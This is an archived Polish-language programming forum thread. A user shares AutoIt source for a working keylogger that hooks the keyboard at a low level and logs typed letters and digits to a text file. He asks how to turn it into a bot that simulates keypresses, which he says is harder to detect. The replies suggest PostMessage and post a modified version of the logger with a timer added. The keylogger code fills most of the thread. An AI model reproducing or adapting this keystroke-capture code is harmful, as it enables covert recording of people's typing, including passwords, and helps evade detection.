Skocz do zawartości

[Pytanie] Hook


Rekomendowane odpowiedzi

Mam taki kod:

 

#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>

$File = @MyDocumentsDir &"\koniec\end.txt"

$File = FileOpen($File,9)

OnAutoItExitRegister("Cleanup")

$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
$hmod = _WinAPI_GetModuleHandle(0)
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)


While 1
Sleep(10)
WEnd


Func EvaluateKey($keycode)
If (($keycode > 64) And ($keycode < 91)) _ ; a - z
Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z
Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9
FileWrite($File,Chr($keycode))
EndIf
EndFunc


Func _KeyProc($nCode, $wParam, $lParam)
Local $tKEYHOOKS
$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
If $nCode < 0 Then
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndIf
If $wParam = $WM_KEYDOWN Then
EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
EndIf
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc

Func Cleanup()
_WinAPI_UnhookWindowsHookEx($hHook)
EndFunc

 

wykrywa on naciśnięte klawisze i zapisuje do pliku txt, chcę zamienić część kodu aby symulowało naciśnięcie klawisza (coś takiego jak Send() ale z hookiem na klawiaturę), takie coś o wiele trudniej wykryć a niestety nie potrafię sam zamienić, np. chciałbym aby naciskało klawisz W, czeka 5 sekund i naciska klawisz Z, proszę o pomoc

Odnośnik do komentarza
Udostępnij na innych stronach

Dodajesz do funkcji sprawdzającej czy został kliknięty klawisz "w", potem... właśnie, co potem.

musiałbyś w c++ to napisać od nowa i wtedy Sleep(5000) w nowy wątek, w autoit po prostu zatrzymasz program. autoit kompletnie się do tego nie nadaje.

846331404756772371599.jpeg
Odnośnik do komentarza
Udostępnij na innych stronach

Z tego co czytałem na autoitscript.com, to ciężko będzie coś wykombinować.

Możesz spróbować z:

 

_WinAPI_PostMessage()
 

W helpie nie ma o tym za dużo, dlatego polecam wyżej podane forum (niestety po ang.) i próby. Ja ostrzegam, ta funkcja raz działa, raz nie.

 

@Edit:

 

I ty robisz keyloggera czy bota?

Odnośnik do komentarza
Udostępnij na innych stronach

Z tego co czytałem na autoitscript.com, to ciężko będzie coś wykombinować.

Możesz spróbować z:

 

_WinAPI_PostMessage()
 

W helpie nie ma o tym za dużo, dlatego polecam wyżej podane forum (niestety po ang.) i próby. Ja ostrzegam, ta funkcja raz działa, raz nie.

 

@Edit:

 

I ty robisz keyloggera czy bota?

Ok, teraz robię bota, chcę przerobić keyloggera działającego na podobnej zasadzie by zamiast rejestrować klawisze symulował wciśnięcia

Dodajesz do funkcji sprawdzającej czy został kliknięty klawisz "w", potem... właśnie, co potem.

musiałbyś w c++ to napisać od nowa i wtedy Sleep(5000) w nowy wątek, w autoit po prostu zatrzymasz program. autoit kompletnie się do tego nie nadaje.

Właśnie o to chodzi, żeby program się zatrzymał a po tym Sleep(5000) mogę dodać kilka linijek kodu by powrócił do poprzedniego stanu. Albo AdlibRegister

Odnośnik do komentarza
Udostępnij na innych stronach

Global $timer
Func EvaluateKey($keycode)
If $timer = 0 then
Return
Else
    If (($keycode > 64) And ($keycode < 91)) _ ; a - z

            Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z

            Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9

            FileWrite($File,Chr($keycode))
Adlibregister("Timer",5000)
$timer = "-1"
    EndIf
Endif
EndFunc

 Func Timer()
$timer = 0
AdlibUnRegister("Timer")
Endfunc
 

Z epoki kamienia łupanego, może podziała prymityw. Nie wiem czy wszystko ok, pisane na kolanie.

 

@Edit: Co tych poprawek xD

Odnośnik do komentarza
Udostępnij na innych stronach

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

  • Ostatnio przeglądający forum [Pytanie] Hook   0 użytkowników
    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...